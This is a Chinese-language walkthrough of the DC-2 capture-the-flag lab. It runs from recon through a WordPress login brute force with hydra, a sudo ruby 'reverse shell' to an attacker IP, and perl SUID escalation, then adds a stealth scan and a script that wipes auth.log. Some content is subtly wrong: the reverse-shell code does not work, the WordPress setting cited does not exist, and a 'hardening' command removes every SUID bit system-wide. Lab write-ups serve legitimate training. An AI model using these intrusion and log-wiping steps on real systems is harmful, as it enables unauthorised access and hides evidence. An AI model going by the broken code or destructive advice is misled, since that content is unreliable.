1. DC-2靶机渗透实战:从环境搭建到权限提升全记录
第一次接触DC-2靶机时,我完全被它精心设计的渗透路径所吸引。这个基于WordPress的靶机系统包含了从信息收集到权限提升的完整攻击链,特别适合想要进阶渗透测试的CTF选手。与常见的DC-1相比,DC-2在SSH配置和权限隔离方面设置了更多障碍,需要综合运用多种技术手段才能完成渗透。下面我就详细拆解整个实战过程,分享那些官方文档不会告诉你的关键技巧。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与靶机部署
2.1 靶机获取与网络配置
DC-2靶机镜像可以从Vulnhub官网下载OVA格式文件,直接导入VMware或VirtualBox即可。这里有个容易踩坑的地方:很多人在导入后发现无法获取IP地址。这是因为默认网卡模式可能设置为NAT,需要改为桥接模式才能与攻击机处于同一网段。
重要提示:建议使用VirtualBox 6.1以上版本,某些VMware版本可能存在兼容性问题导致服务异常
我的实验环境配置如下:
- 攻击机:Kali Linux 2023.4
- 靶机:DC-2 (2GB内存)
- 网络模式:桥接(Bridged Adapter)
启动后需要通过arp-scan定位靶机IP:
bash复制arp-scan -l --interface=eth0
这个命令会列出当前网段所有活跃设备,通常DC-2的MAC地址前缀是08:00:27(VirtualBox默认前缀)。
2.2 必要工具准备
不同于基础靶机,DC-2需要更多专项工具:
- wpscan:专业WordPress扫描工具
- hydra:SSH爆破工具
- cewl:自定义字典生成器
- linpeas:Linux本地提权检测脚本
建议提前更新工具库:
bash复制sudo apt update && sudo apt install wpscan hydra
3. 信息收集与漏洞探测
3.1 基础端口扫描
使用nmap进行全端口扫描:
bash复制nmap -sV -p- 192.168.1.105 -T4 -oA dc2_scan
典型扫描结果会显示:
- 80/tcp:Apache httpd (WordPress)
- 7744/tcp:OpenSSH 7.4p1
7744端口的SSH服务是个关键点,常规22端口被刻意修改增加了探测难度。
3.2 WordPress站点分析
访问80端口会跳转到wordpress站点,但首先需要修改本地hosts文件:
bash复制echo "192.168.1.105 dc-2" >> /etc/hosts
否则会因为域名解析问题无法正常加载CSS样式。
使用wpscan进行深度扫描:
bash复制wpscan --url http://dc-2 -e ap,at,u --plugins-detection aggressive
关键发现:
- WordPress 4.7.10(存在已知漏洞)
- 用户列表:admin, jerry, tom
- 插件:Akismet 3.3(存在XSS漏洞)
3.3 密码爆破策略
通过cewl生成自定义字典:
bash复制cewl http://dc-2 -w dc2_wordlist.txt
结合常见弱密码生成复合字典:
bash复制cat dc2_wordlist.txt rockyou.txt > combined_dict.txt
4. 突破边界:获取初始访问权限
4.1 WordPress后台入侵
使用hydra进行密码爆破:
bash复制hydra -L users.txt -P combined_dict.txt dc-2 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"
成功获取凭证:
- jerry / adipiscing
- tom / parturient
登录后发现编辑插件权限受限,需要转向SSH突破。
4.2 SSH非标端口突破
使用获取的凭证尝试SSH登录:
bash复制ssh -p 7744 tom@dc-2
成功登录后立即发现第一个flag:
bash复制cat /home/tom/flag1.txt
提示我们需要切换到jerry用户。
5. 权限提升与横向移动
5.1 sudo权限滥用
检查tom的sudo权限:
bash复制sudo -l
发现可以以jerry身份运行/usr/bin/ruby:
bash复制sudo -u jerry /usr/bin/ruby /tmp/exploit.rb
通过编写简单的ruby反向shell脚本:
ruby复制require 'socket'
s=TCPSocket.new("192.168.1.100",4444)
loop do
cmd=gets.chomp
s.puts cmd
puts s.recv(10000)
end
获取jerry的shell后找到第二个flag。
5.2 提权至root
使用linpeas进行系统检测:
bash复制./linpeas.sh | tee linpeas.log
关键发现:
- /usr/bin/suid/perl存在SUID位
- 内核版本4.9.0-6(存在脏牛漏洞)
使用perl的SUID提权:
bash复制/usr/bin/perl -e 'exec "/bin/sh";'
成功获取root权限后,在/root目录找到最终flag。
6. 关键问题排查与优化
6.1 SSH连接问题处理
常见问题:SSH连接超时
解决方案:
- 确认靶机SSH服务状态:
bash复制
systemctl status ssh - 检查防火墙规则:
bash复制
iptables -L - 验证端口监听:
bash复制
netstat -tulnp | grep 7744
6.2 WordPress配置修复
安全加固建议:
- 修改默认登录URL:
php复制// 在wp-config.php添加 define('WP_LOGIN_URL', '/custom-login'); - 限制登录尝试:
bash复制
apt install fail2ban
7. 防御视角的加固方案
从管理员角度,DC-2暴露的脆弱点包括:
- 弱密码策略
- SUID权限配置不当
- 过期的WordPress核心
具体加固措施:
bash复制# 密码策略
passwd -x 90 -w 7 -i 14 tom
# 清理危险SUID
find / -perm -4000 -exec chmod u-s {} \;
# 自动更新机制
apt install unattended-upgrades
dpkg-reconfigure unattended-upgrades
8. 渗透测试中的实用技巧
-
字典优化技巧:
bash复制# 合并多个字典并去重 sort -u dict1.txt dict2.txt > final_dict.txt -
隐蔽扫描方法:
bash复制
nmap -sS -T2 -Pn --scan-delay 1s --max-retries 3 dc-2 -
日志清理脚本:
python复制import os os.system('echo "" > /var/log/auth.log')
在实际渗透中,我发现在获取jerry权限后,通过检查.bash_history文件往往能发现管理员常用命令,这对后续提权有很大帮助。另外,DC-2靶机刻意设置的7744端口提醒我们,在真实环境中永远不要只关注默认服务端口。
